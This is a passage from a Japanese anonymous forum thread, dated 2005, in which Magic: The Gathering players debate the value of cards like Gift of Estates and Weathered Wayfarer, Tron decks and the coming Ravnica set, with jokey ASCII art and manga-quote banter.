853 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 12:58:06 ID:y5QS/Mwo
>>852
　　_, ._
（；ﾟ Дﾟ） …！？
854 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 13:00:54 ID:mWX3zi6Q
ＭＴＧやってる奴は世間的にはいい年してゲームやってるバカだが、
トッププレイヤーみたいな利口になれということでいいか？
855 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 13:10:40 ID:4HI/B6X/
　　_, ._
（；ﾟ Дﾟ）
856 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 13:35:35 ID:o6xoutnY
この利口バカめ！
857 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 14:31:38 ID:uyzzmpli
♪醜い利口になるよりは 綺麗なバカで生きてやる～
858 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 16:43:34 ID:rRIaZ+Q3
　　_, ._
（；ﾟ Дﾟ） …シナチクって何だ？
859 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 16:49:07 ID:rE4DMQED
>>858
ﾒﾝﾏ
860 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 16:58:13 ID:TVdY8RQ5
ちっげーよシナチクはシナチクだよ！

ところでスランのゴーレム再録なのな。
何をエンチャントしてやるのが一番良いだろうか？
861 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 17:08:58 ID:agfS4iCl
平和なべ
862 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 17:15:28 ID:o6xoutnY
スランのゴーレム使えネ('A`)
緑で回収可能なエンチャントないと意味ﾈ('A`)
863 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 17:17:53 ID:uU0YaPKU
ちょwwwおまwwwww
もう少しまじめに考えてあげて下さい＞＜
864 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 17:21:16 ID:eOoVjpnW
《抜け殻》でドローしまくるエンチャントレスデッキのフィニッシャーとして使えないか？
865 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 17:25:56 ID:o6xoutnY
おおまじめなんだが('A`)
どうしてもつけたきゃ《好奇心》か《魂の絆》だな
《怨恨》クラスの入ったエンチャントレスデッキでも入らないだろ
866 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 17:31:52 ID:yPLUUjzN
素直にブランチウッドの鎧でビートダウン
867 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 17:56:55 ID:IMC4eDhJ
相手が出してきたところに押収つけようぜ
868 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 19:13:50 ID:gpAH5A+u
ちなみにエラッタ前の要撃やスライドみたいに《抜け殻》を相手のエンド時に戻して
こちらのターン中に再生の盾を付けたままってのは可能なのか？
869 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 19:16:34 ID:BxJSIfDI
不可能す。

再生の定義は
「このターンの間、次に[パーマネント]が破壊される場合、
その代わりに ダメージを全て取り除き、タップし、（戦闘中ならば）戦闘から取り除く」
なので、ターンが終了すると再生の予約も消滅す
870 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 19:39:08 ID:J6rTEjrj
《Gift of Estates / 土地の寄進》について語られてないけど
そうとう強いよね、これ
871 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 19:44:50 ID:B3GbI04M
雨ざらし一緒に居るし２マナやし土地多いと無駄カードやし正直微妙杉
素直に「税収」入れてくれと
872 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 19:46:24 ID:B3GbI04M
でも「交易路」と一緒に無理矢理使ったら３ドローなんだよなぁ…
873 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 19:57:46 ID:PI/ixxGZ
無理し過ぎ乙。
手段と目的入れ替わってるだろ。無理して引いても勝てません。
874 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 20:00:21 ID:Y0JgqNLF
だよねw
875 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 20:15:37 ID:t7vgVcg5
>>871
いや、強いんじゃねーの？
２マナで手札が２枚増えるってのは破格だと思うし、土地が多いと無駄カードってのは
土地を沢山使用しないデッキで使えばいいだけだと思うが。
876 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 20:21:54 ID:qidSTpU3
土地の要らないデッキが３枚平地貰ってきて有効活用出来るか
もの凄く疑問だけどな～
877 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 20:26:28 ID:vHQO93S5
《荒廃の思考》入り白ウィニーだな。
これしか無いよ。
878 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 20:27:16 ID:h3j2M/gv
おまいら神河が手札枚数を見るエキスパンションだってことを忘れてませんか
879 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 21:19:26 ID:8En56x3w
土地の寄進はアンコモンなら許す
880 ：組長 ◆Df0RZxE3Po ：2005/07/09(土) 21:47:55 ID:8wJmGj/R
>>870
現黒使いの俺には関係ない事だが率直にいうと税収の方が遥かに使い勝手がいい。
２マナのソーサリーの為あれと同じ感覚で土地を圧縮して使うと痛い目を見る。
まあ無い物言ってもしょうがないので、それでも使うなら特殊地形も持ってこれる
雨ざらしの方がいい。
881 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 21:49:13 ID:W2b+rvNW
土地の寄進は鬼神な強さなのか
882 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 22:02:28 ID:M9WjLyLl
(　´д)ﾋｿ(´д｀)ﾋｿ(д｀　)
883 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 22:06:06 ID:w2WIPKcl
とりあえず手札が3枚も増えるんだから､救済のカードと相性良いんでねーの?
まぁ救済のカードがほとんど実用レベルに達してないのが問題だが
884 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 22:19:25 ID:U5NDQYEw
引いて捨てる青のカードと併用するとかなり強い
白青は序盤土地たくさん欲しいし
885 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 22:50:26 ID:t7vgVcg5
>>880
> 現黒使いの俺には関係ない事だが率直にいうと税収の方が遥かに使い勝手がいい。
たぶん、その事を否定する香具師は居ないかと。
問題は税収が無い環境で土地の寄進はデッキに入りうるか？ってことじゃろ。
886 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 22:55:19 ID:jamqQkJ8
《雨ざらしの旅人/Weathered Wayfarer》が当時それほど使われなかったことを考えると
やはり微妙ではないか
887 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:01:51 ID:73qIlhx5
一応ウルザトロンや流砂もサーチできるので、当時より使い道はある筈　＞旅人
888 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:26:07 ID:208YnJ+D
デッキに１枚ざしのレジェンドランドを引っ張ってこられると思うとこれほど心強い奴はいない＞旅人
889 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:35:37 ID:jamqQkJ8
トロンって白のバージョンないからなあ…でも軽い除去がない相手で、なおかつ自分の方が
土地が少ない状態が継続的に続くシチュエーションがそんなにある？とか反論してみたり
1枚差しのレジェンドランドもそんなにたくさん並べたいかというと…

真面目なレス希望
890 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:45:54 ID:uAJ4b9Wq
相手が先攻で毎ターン土地を置いてれば使えそうだけど
白トロンて何するの？
891 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:50:27 ID:gcoqiGeZ
白歴伝からのシルバーバレット
892 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:53:36 ID:Ut55tkqZ
浄火明神出せるな
893 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:55:36 ID:jamqQkJ8
>>890
《雨ざらしの旅人/Weathered Wayfarer》が立ってて相手が素直に土地を並べ続けてくれる
はずがないでしょう

白トロンは仮想してもやりたいことがいまいち思いつかない
《白の夜明けの運び手/Bringer of the White Dawn》から《精神隷属器/Mindslaver》ループとか？
…つまらんな
894 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 23:57:02 ID:208YnJ+D
交易路で自軍の土地を減らすがよい。
895 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 00:30:55 ID:aJQ30eCu
ラヴニカで何か出たら改めて考えればいいんじゃね
896 ：組長 ◆Df0RZxE3Po ：2005/07/10(日) 03:06:59 ID:syNQfCHC
>>885
少し言い方が悪かった。
土地の寄進については、当時税収が入っていたデッキを例に取ると、一見
白ウィニーに入りそうな感じだが（他にも税収はデュアランを使った白主体
の多色デッキにも入っていたがご存知の通りデュアランその物が現行スタン
にはないのでここでは除く）
それなら１マナで尚且つクリーチャーでもある雨ざらしの旅人の方がいい。
よって今の段階で土地の寄進がデッキに入る事はあまりないと思う。
ただ今後ラヴニカでデュアランの様にサーチできる土地が出て来たり、ラン
デスが流行るようなら十分に活躍できる可能性はある。

>>884
確かに一理あるが白青で先手だと使い難いのとソーサリーなのが辛い。
素直に土地を増やして毎ターン置ける様にした方が無難だと思う。

>>886
出た当時はマッドネスやらサイカやらサイクリングやらで白ウィニー
事態あまり活躍できなかったし、その１年後も全盛期の親和に出番を
奪われたからな。
まあこれからは白トロンはどうかは解らないが、少なくとも白ウィニ
ーの必須カードになると俺は予想する。
その理由として親和が弱くなったのと装備品が健在なのが大きい。
897 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 03:09:01 ID:XUMsGoob
>>894

そ、それだ！！！
898 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 03:11:04 ID:1hsW+9kp
すき込みの返しに使えば
シャッフルできるからすき込みの威力が半減して良さそう
と思ってたら9版ですき込み落ちるんだよな。
899 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 03:14:35 ID:uznUInJU
ラヴニカ出たら神河は無かったことと同然になるんだろうなぁ
900 ：組長 ◆Df0RZxE3Po ：2005/07/10(日) 03:28:24 ID:syNQfCHC
>>888
現段階では伝説の土地より地味にちらつき蛾の生息地を持ってくるのがいいな。

>>889
１マナのカードにあまり多くを期待するのも無粋というもの。
やはり白トロンに入れるより、白ウィニーに入れて殴れる時は殴り、
殴れない時は大体土地が相手より少ないと踏んで、ちらつき蛾の生息地
等をサーチしてデッキを圧縮するのが賢い使い方ではないかと思う。

>>890
白トロンは現段階では微妙と言わざる得ないが・・・・・・
まあまだ上がってないネタでカルドラパーツを揃えてみると言ってみる。
一応装備品のサーチに鋼打ちの贈り物もあるから。
それか再利用の咆哮にでも。

>>894
交易路事態あまり使われないカードだからなあ。
ランデス相手だと強いのだが。

>>895
これには俺も同意だな。
まあ焦って揃えるよりかは様子を見た方がいいな。
901 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 03:33:15 ID:k8+gzX5/
桜じいと木霊の手の内が無かったことと同然になるとは思えんのぢゃよ
白ウィニは逆に神河がなければ語れないと思うのぢゃよ
青は邪魔とメロクとで満腹、黒は摘出と影麻呂で納得

嘆いているのはゴブしかもらえなかった赤使いに違いないんぢゃよ、ほっほっ
902 ：組長 ◆Df0RZxE3Po ：2005/07/10(日) 03:36:51 ID:syNQfCHC
>>898
思えばすき込みは強かったなあ。
特に永遠の証人との組み合わせには何度苦しめられた事か。
よって落ちるのはしょうがないな。

>>899
そんな事はないぜ。
黒使いの俺には最高のブロックだったからな。
それに比べてミラディンの時は本当辛かったなあ。
903 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 03:38:23 ID:bc0d50WG
サポートパーツとフィニッシャーは近年まれに見る優秀さだと思うが、
マッドネス、サイクリング、親和と続いた「スタンダードに影響を与えるメカニズム」
がないため神河は存在感が薄い。
これまでの傾向から、愛二課が出たら愛二課のメカニズム＋神河のサポートの
形で環境が出来上がると考えられる。
てかﾗｳﾞﾆｶの略語って愛でいいよね。今後それで。
904 ：組長 ◆Df0RZxE3Po ：2005/07/10(日) 03:48:45 ID:syNQfCHC
>>901
赤も救済で多少は救われたと思うぜ。
荒廃の思考とか、赤のカードではないがやはり針の存在は大きいだろ。
防御円にも効くし。

>>903
秘儀連携システムはそれ程でもなかったからな。
まあラヴニカのメカニズムもどうなるかは解らないが、取り敢えず黒使いの俺は
早くボブ・メイヤー使いたいな。
905 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 04:00:31 ID:k8+gzX5/
神河のシステムが目立たないのは多色土地がへっぽこだったからぢゃよ
各色に分散するシステムカードを統合できていないのぢゃよ
906 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 05:41:10 ID:Gt/ClkYq
神河のシステムってのは、どいつもこいつも神河の
カードで固めてはじめてメリットが出る限定戦や
ブロック限定構築向けのものばかりだからなあ。
将来のスタンダードやエクテンの主流になるわけも
なく、サポートカードしか残らないのはある意味必然。
907 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 05:44:31 ID:o/jvB/4I
＞土地の寄進、雨ざらしの旅人
なんにしてもアドバンテージを取れる香具師は強い、はず。
ガイシュツだが、俺も交易路かメロクかなんかと組み合わせるのがいいと思う。
908 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 06:57:24 ID:EPKQZa/a
神河は結局、変な伝説の土地がいっぱいでたエキスパッションという評価でおわるだろうな。
909 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 08:20:37 ID:3pZfR66b
能力がコントロール向きのものが多くて、そういう遅い環境だとトロンが最強に
なっちまうというのが悲劇だった。せっかく親和が消えたのにな。
910 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 09:44:34 ID:BB+jn4NW
>>908
それはないｗｗｗ

>>909
いろんな意味で神河はかわいそうだったな。
911 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 09:48:53 ID:pED3lROQ
そこで《塩まき》ですよ
912 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 09:53:50 ID:NBB5azeY
頭蓋の摘出も塩まきも、出た当初はトロンが死ぬみたいに言われたけど
結局トロンは生き残り続けたな
913 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:08:47 ID:OSeL0qA+
結局時間稼ぎにしかならんからね。
一旦マナが揃ってしまえば、いつゲームエンド・クラスの
爆弾カードをトップデックしてもおかしくない。
そしてトロンには爆弾級のカードが多すぎる。

ラヴニカ後は、ミラディンとともに土地サーチが落ちるから
緑トロンもいなくなるだろうけど、
手練とか入ってきたから青トロンはまだまだ残りそうだな。
914 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:17:02 ID:NBB5azeY
ミラディンなしで青はなにプレイするのんー？
トリスケリオンも精神隷属器も忘却石もないでー
915 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:24:14 ID:BB+jn4NW
ヴィダルケンの枷

あ、五丼も落ちるね。
916 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:29:06 ID:OSeL0qA+
いや、マナブーストは出来るからさ。
普通に京河とか明神、迷心みたいな重量級カード連打で良いと思われ。
917 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:30:47 ID:hSwN23dY
メロクが存在する限り、どんな形であれ生き残るだろ。
918 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:34:56 ID:NBB5azeY
京河はともかく、明神と迷心のトリプルシンボルは色マナきつすぎ
メロクにいたっては大量マナ出たからって能力起動は土地枚数次第だから、
青トロンもいなくなるんじゃないのか？
919 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:37:17 ID:2XHhgRbL
卑下や知識の渇望も馬鹿にはならないね
もっとも２マナ以下のカウンターやインスタントドローは強すぎると思うから、良いけど
920 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:43:20 ID:pED3lROQ
インスタントドローならば忌話図3セットですよ
921 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:44:55 ID:KxOYcJV/
ミラディン落ち後の環境なんてラヴニカの内容が判らないと考えようが無いと思ってる俺。
922 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 10:45:35 ID:NBB5azeY
しかしこうでもしないと話題がないなと思ってる俺
923 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 11:03:17 ID:kU+VXPtM
来期こそはズアーが来ますよ！！１
924 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 11:21:27 ID:NBB5azeY
ラブニカは多色ブロックとのことなので、神河構築ばりに長老と手の内ばかりの悪寒
925 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 11:53:15 ID:jKILYi1s
多色ブロックのマナいかんによっては、白ウィニが待望の火力タッチ能力を手に入れるわけだが
926 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 12:18:37 ID:NBB5azeY
対抗色ダメランが再録されたんだから、ラブニカで赤白が出る優秀なランドは期待しづらい
そうすると白ウィニーが赤を使うのは厳しいと思うんだが
主戦力がダブルシンボルばっかりじゃあねぇ
927 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 14:27:06 ID:jKILYi1s
でも赤にはハルマゲドンもあるょ？(´･ω･`)
928 ：926：2005/07/10(日) 14:42:16 ID:NBB5azeY
>>927
このチンピラがオレをナメてんのかッ！
何回言えば理解できんだコラァ！
白マナのダブルシンボルが問題だって言ってんのに
なんで赤のダブルシンボルのカードを持ち出すんだ、この……
ド低能がァ――ッ
929 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 15:17:42 ID:jKILYi1s
うわうわ（＾ω＾；）
930 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 15:19:16 ID:kND+Vo9C
こうでもしないと話題がないなと思ってるNBB5azeY萌え
931 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 15:32:21 ID:qRuaxcMU
こうしてフーゴ兄さんネタも…
忘れられていくんだろうな…
932 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 15:34:48 ID:S4HEE90z
フーゴ自体､作者に無かった事にされたからな
933 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 16:35:45 ID:jKILYi1s
気がついてたけどウマい返し思いつかんかった
すまナス（＾ω＾；）
934 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 16:43:19 ID:Ov6j8gRV
「ド低能」はひどすぎます！
いくら匿名掲示板とはいえ表現は紳士的かつソフトにするべきです
かわりに「クサレ脳ミソ」なんてどうでしょうか？
935 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 16:47:28 ID:NBB5azeY
クサレ脳ミソって言ったな～人を見下す言い方はよくない！
936 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 17:06:29 ID:GXIVypOb
チャットじゃねぇぞ。最新セットの話をしろ。
937 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 17:17:42 ID:k2zVFnOw
ペインランドが再録されたら
ますますメロクがタッチされそう
938 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 17:19:05 ID:+jZmvNU/
ぱーぷるへいず！
939 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 17:21:07 ID:WkcV/Ugz BE:40709726-#
むしろメロクにタッチしたい
940 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 17:24:28 ID:kND+Vo9C
エロいな
941 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 17:24:51 ID:NBB5azeY
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│　 　　　ヽ(　,_ﾉ`)ノ　残念 それは私のおいなりさんだ
│　　　へﾉ　　 /
　―→　　ω ノ　
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942 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 19:08:27 ID:7ZTJ7G+1
まずはヒッピーのいる環境に青が耐えられるかどうかではないかと
943 ：名無しプレイヤー＠手札いっぱい。：2005/07/10(日) 19:52:58 ID:h7aNIw1c
そもそも青は・・・まともなカードが・・・
944 ：名無しプレイヤー＠手札いっぱい。：
劣化した８版青にバベルとトラウマ追加しただけみたいなものだからな。